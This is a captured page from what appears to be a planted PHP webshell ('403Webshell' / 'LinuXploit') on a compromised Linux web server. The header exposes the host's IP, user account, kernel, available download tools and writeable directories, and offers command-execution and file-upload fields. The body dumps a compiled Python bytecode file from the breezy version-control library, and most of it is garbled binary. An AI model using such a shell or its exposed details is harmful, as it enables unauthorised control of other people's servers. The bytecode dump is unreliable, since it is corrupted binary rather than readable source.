403Webshell
Server IP : 104.21.74.243  /  Your IP : 216.73.216.47
Web Server : Apache
System : Linux infong-es77 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u67207989 ( 1351568)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/bzr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/bzr/__pycache__/reconcile.cpython-39.pyc
a

�*�^�N�@s�dZddlmZgd�ZddlmZmZmZm	Z	ddl
mZddlm
Z
ddlmZdd	lmZd
dlmZmZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�ZdS)zCReconcilers are able to fix some potential data errors in a branch.�)�absolute_import)�BranchReconciler�KnitReconciler�PackReconciler�VersionedFileRepoReconciler�)�cleanup�errors�revision�ui)�ReconcileResult)�gettext)�mutter)�	topo_sort�)�AdapterFactory�ChunkedContentFactoryc@sjeZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)rayReconciler that reconciles a repository.

    The goal of repository reconciliation is to make any derived data
    consistent with the core data committed by a user. This can involve
    reindexing, or removing unreferenced data if that can interfere with
    queries in a given repository.

    Currently this consists of an inventory reweave with revision cross-checks.
    NFcCs"d|_d|_d|_||_||_dS)z�Construct a RepoReconciler.

        :param thorough: perform a thorough check which may take longer but
                         will correct non-data loss issues such as incorrect
                         cached data.
        rFN)�garbage_inventories�inconsistent_parents�aborted�repo�thorough)�selfr�otherr�r�6/usr/lib/python3/dist-packages/breezy/bzr/reconcile.py�__init__4s
z$VersionedFileRepoReconciler.__init__c	Cs�|j���ttj���J|_|��t�}|j|_|j	|_	|j
|_
|Wd�Wd�S1sf0YWd�n1s�0YdS)anPerform reconciliation.

        After reconciliation the following attributes document found issues:

        * `inconsistent_parents`: The number of revisions in the repository
          whose ancestry was being reported incorrectly.
        * `garbage_inventories`: The number of inventory objects without
          revisions that were garbage collected.
        N)r�
lock_writer�
ui_factory�nested_progress_bar�pb�_reconcile_stepsrrrr�rZretrrr�	reconcileAs
�z%VersionedFileRepoReconciler.reconcilecCs|��dS)�/Perform the steps to reconcile this repository.N)�_reweave_inventory�rrrrr!Tsz,VersionedFileRepoReconciler._reconcile_stepscCs�|j��}|j�td��|jj|_|jj|_dd�|j��D�|_	i|_
d|_|�t
|j	��|j	D]}|�|�qf|��|js�|jr�|js�tj�td��dS|j�td�dd�|j��tj�td��|j��}|�t
|j
��d	d
�t|j
�D�}|�|j�|dd�|jt|��}|�|�t|���d
d�|j	D�k�sNt��|j�td��|j��d|_tj�td��dS)a`Regenerate the inventory weave for the repository from scratch.

        This is a smart function: it will only do the reweave if doing it
        will correct data issues. The self.thorough flag controls whether
        only data-loss causing issues (!self.thorough) or all issues
        (self.thorough) are treated as requiring the reweave.
        zReading inventory datacSsh|]}|d�qS����r��.0�keyrrr�	<setcomp>e�zAVersionedFileRepoReconciler._reweave_inventory.<locals>.<setcomp>r�
Inventory ok.N�Backing up inventoryzBackup inventory created.cSsg|]
}|f�qSrr)r*�rev_idrrr�
<listcomp>~r-zBVersionedFileRepoReconciler._reweave_inventory.<locals>.<listcomp>�	unorderedTcSsh|]
}|f�qSrr�r*�revidrrrr,�r-�
Writing weave�Inventory regenerated.)r�get_transactionr �updater
�inventories�	inventory�	revisions�keys�pending�
_rev_graphr�_setup_steps�len�_graph_revision�_check_garbage_inventoriesrrrr�note�_backup_inventory�_temp_inventoriesr�_change_inv_parents�get_record_stream�_new_inv_parents�set�insert_record_stream�AssertionError�_activate_new_inventory)r�transactionr0�new_inventories�
revision_keys�streamrrrr%XsL



��

�

�
z.VersionedFileRepoReconciler._reweave_inventorycCstdd�|j|dD��S)z/Lookup ghost-filtered parents for revision_key.cSsg|]
}|f�qSrrr3rrrr1�r-z@VersionedFileRepoReconciler._new_inv_parents.<locals>.<listcomp>r()�tupler>)r�revision_keyrrrrH�sz,VersionedFileRepoReconciler._new_inv_parentsccsf|D]\}||j�}|rB|d|vrB|�d�}t|j||j|�Vnt|j||�}|V|�d�qdS)z/Adapt a record stream to reconcile the parents.r�chunkedzadding inventoriesN)r+�get_bytes_asr�sha1r�
_reweave_step)rrPZget_parentsZall_revision_keys�recordZwanted_parents�chunksZadapted_recordrrrrF�s

�z/VersionedFileRepoReconciler._change_inv_parentscCs||_d|_dS)z6Setup the markers we need to control the progress bar.rN)�total�count)rZ	new_totalrrrr?�sz(VersionedFileRepoReconciler._setup_stepscCsT|�d�|j�|�}g}|jD]$}|�|�r:|�|�q td|�q ||j|<dS)z(Load a revision into the revision graph.zloading revisionszfound ghost %sN)rVrZget_revision_reconcileZ
parent_ids�_parent_is_available�appendrr>)rr0Zrev�parents�parentrrrrA�s


z+VersionedFileRepoReconciler._graph_revisioncCsV|js
dSt|j���}t|j���}|�|�}t|�|_|D]}td|d�q>dS)z�Check for garbage inventories which we cannot trust

        We cant trust them because their pre-requisite file data may not
        be present - all we know is that their revision was not installed.
        NzGarbage inventory {%s} found.r()	rrIr:r<r;�
differencer@rr)rr9r;ZgarbagerRrrrrB�s

z6VersionedFileRepoReconciler._check_garbage_inventoriescCs6||jvrdSdt|j�|fg��k}|o4|j�|�S)z�True if parent is a fully available revision

        A fully available revision has a inventory and a revision object in the
        repository.
        Tr)r>r@r:�get_parent_maprZhas_revision)rr^Zinv_presentrrrr[�s
z0VersionedFileRepoReconciler._parent_is_availablecCs&|j�||j|j�|jd7_dS)z,Mark a single step of regeneration complete.rN)r r8rZrY)r�messagerrrrV�sz)VersionedFileRepoReconciler._reweave_step)NF)�__name__�
__module__�__qualname__�__doc__rr#r!r%rHrFr?rArBr[rVrrrrr)s


6rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
rz�Reconciler that reconciles a knit format repository.

    This will detect garbage inventories and remove them in thorough mode.
    cCsD|jr@z|��Wntjy.d|_YdS0|��|��dS)r$TN)r�
_load_indexesr	Z
BzrCheckErrorr�
_gc_inventory�_fix_text_parentsr&rrrr!�szKnitReconciler._reconcile_stepscCsj|j��|_|j�td�dd�|jj|_|j�td�dd�|j��|jj	|_	|j�td�dd�dS)z$Load indexes for the reconciliation.zReading indexesrrrN)
rr7rMr r8r
r9r:Z(_check_for_inconsistent_revision_parentsr;r&rrrrf�s


zKnitReconciler._load_indexescCs0|j�td�dd�|��|j�td�dd�|jsJtj�td��dS|j�td�dd�|j�	�tj�td��|j�
�}|j�|j�
��}t|�}d	d
�|D�}|�t|��|�|j�|dd�|jt|��}|�|�t|�
��t|�ks�t��|j�td
��|j��d|_tj�td��dS)zCRemove inventories that are not referenced from the revision store.zChecking unused inventoriesrr�r.Nr/zBackup Inventory createdcSsg|]}|d�qSr'rr)rrrr1r-z0KnitReconciler._gc_inventory.<locals>.<listcomp>r2Tr5r6)r r8r
rBrrrrCrrDrEr;r`r<rr?r@rFr:rG�__getitem__rIrJrKrL)rrN�graphrOZrevision_idsrPrrrrg�s4

�

zKnitReconciler._gc_inventorycst|j��}dd�|j��D�}tdt|��|j��}|�|jj|j	�\}}|j
}i}|D]}i||d<qZ|��D]\\}}	|d�|d}
tdd�|	dD��}tdd�|	dD��}|�
�i�}
||f|
|
<qti}|D]"}|�
|dg�}|�|d�q�t|�D]h\}�|j	�td�|t|��|�}t�fd	d
�|D��}�|v�rX|�}ng}|��|||��qdS)a[Fix bad versionedfile parent entries.

        It is possible for the parents entry in a versionedfile entry to be
        inconsistent with the values in the revision and inventory.

        This method finds entries with such inconsistencies, corrects their
        parent lists, and replaces the versionedfile with a corrected version.
        cSsg|]}|d�qSr'rr)rrrr1r-z4KnitReconciler._fix_text_parents.<locals>.<listcomp>z3Prepopulating revision text cache with %d revisionsrrcSsg|]}|d�qSr'r�r*r^rrrr1,r-cSsg|]}|d�qSr'rrlrrrr1-r-zFixing text parentsc3s"|]}|d�kr|dVqdS)rr(Nrr)��file_idrr�	<genexpr>9s�z3KnitReconciler._fix_text_parents.<locals>.<genexpr>N)rr7r;r<rr@Z_get_versioned_file_checkerZcheck_file_version_parents�textsr �
text_index�itemsrQ�
setdefaultr\�	enumerater8r
rI�_fix_text_parent)rrMZversionsZ
vf_checkerZbad_parents�unused_versionsrqZper_id_bad_parentsr+Zdetailsr0Zknit_parentsZcorrect_parentsZfile_detailsZfile_id_versionsZtext_keyZ
versions_listZnum�versions_with_bad_parentsZid_unused_versionsZ
file_versionsrrmrrhsH	
�

��

�z KnitReconciler._fix_text_parentscstd|t|��tdt|��d|�i�t�}|D]x}||vrDq4n@||vrZ||d}n*|jj�||fg�}dd�|||fD�}�fdd�|D���|f<|�||f�q4��fdd	�}	|jj�|d
d�}
|j���|jj�	|	|
��|j�|�t���r|j�
�|�dS)
z9Fix bad versionedfile entries in a single versioned file.z$fixing text parent: %r (%d versions)z(%d are unused)stemp:%srcSsg|]}|d�qSr'rr)rrrr1Tr-z3KnitReconciler._fix_text_parent.<locals>.<listcomp>csg|]}�|f�qSrrrl)�new_file_idrrr1Usc3s@|D]6}|�d�}�|jdf}�|}t|||j|�VqdS)NrSr()rTr+rrU)rPrWrXZnew_keyr]�rxZnew_parentsrr�fix_parentsYs

z4KnitReconciler._fix_text_parent.<locals>.fix_parentsZtopologicalTN)rr@rIrrpr`�addrGZ_remove_file_idrJZ
_move_file_id)rrnrwrvZall_versionsZneeded_keys�versionr]ZpmaprzrPrryrruDs6�
��
zKnitReconciler._fix_text_parentN)	rbrcrdrer!rfrgrhrurrrrr�s
 2rcs2eZdZdZd
�fdd�	Zdd�Zdd	�Z�ZS)raxReconciler that reconciles a pack based repository.

    Garbage inventories do not affect ancestry queries, and removal is
    considerably more expensive as there is no separate versioned file for
    them, so they are not cleaned. In short it is currently a no-op.

    In future this may be a good place to hook in annotation cache checking,
    index recreation etc.
    NFcs tt|�j|||d�||_dS)N)rr)�superrr�canonicalize_chks)rrrrr~��	__class__rrrzs�zPackReconciler.__init__cCs�|js
dS|jj}|��|��z�|��}|j��}tt|j	j
����}t|�r�|jrb|jj
}n|jj}|||d||j�}|dur�|�|�n
|�|�|tt|j	j
����|_W|��n
|��0dS)r$Nz
.reconcile)rr�_pack_collectionZ
ensure_loadedZ
lock_namesZ	all_packsZall_revision_idsr@�listZinventory_indexZcombined_indexZiter_all_entriesr~Z_canonicalize_chks_packZ_reconcile_packr �_discard_and_saverZ
_unlock_names)rZ
collection�packsZ
all_revisionsZtotal_inventoriesZreconcile_methZnew_packrrrr!�s2

�
�

�zPackReconciler._reconcile_stepscCs6|D]}|jj�|�q|jj��|jj�|�dS)aeDiscard some packs from the repository.

        This removes them from the memory index, saves the in-memory index
        which makes the newly reconciled pack visible and hides the packs to be
        discarded, and finally renames the packs being discarded into the
        obsolete packs directory.

        :param packs: The packs to discard.
        N)rr�Z_remove_pack_from_memoryZ_save_pack_namesZ_obsolete_packs)rr�Zpackrrrr��s
z PackReconciler._discard_and_save)NFF)rbrcrdrerr!r��
__classcell__rrrrrhs�rc@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)
rz"Reconciler that works on a branch.FcCsd|_||_||_dS�N)�
fixed_historyr�branch)rZa_branchrrrrr�szBranchReconciler.__init__c	Cs||j���^tj���4|_t�}|��|_|Wd�Wd�S1sP0YWd�n1sn0YdSr�)	r�rrrrr rr!r�r"rrrr#�s�
zBranchReconciler.reconcilecCs|��Sr�)�_reconcile_revision_historyr&rrrr!�sz!BranchReconciler._reconcile_stepscCs�|j��\}}g}|jj��}z$|�|tjf�D]}|�|�q0Wntj	yVYn0|�
�|t|�kr�tj
�td��|t|���|j�t|�|�dStj
�td��dSdS)Nz%Fixing last revision info {0}  => {1}Tzrevision_history ok.F)r�Zlast_revision_infoZ
repositoryZ	get_graphZiter_lefthand_ancestry�
_mod_revisionZ
NULL_REVISIONr\r	ZRevisionNotPresent�reverser@rrrCr
�formatZset_last_revision_info)rZ
last_revnoZlast_revision_idZreal_historyrkr4rrrr��s*���z,BranchReconciler._reconcile_revision_historyN)F)rbrcrdrerr#r!r�rrrrr�s

rN)reZ
__future__r�__all__�rr	r
r�rr#rZi18nr
ZtracerZtsortrZ
versionedfilerr�objectrrrrrrrr�<module>s.E

Youez - 2016 - github.com/yon3zu
LinuXploit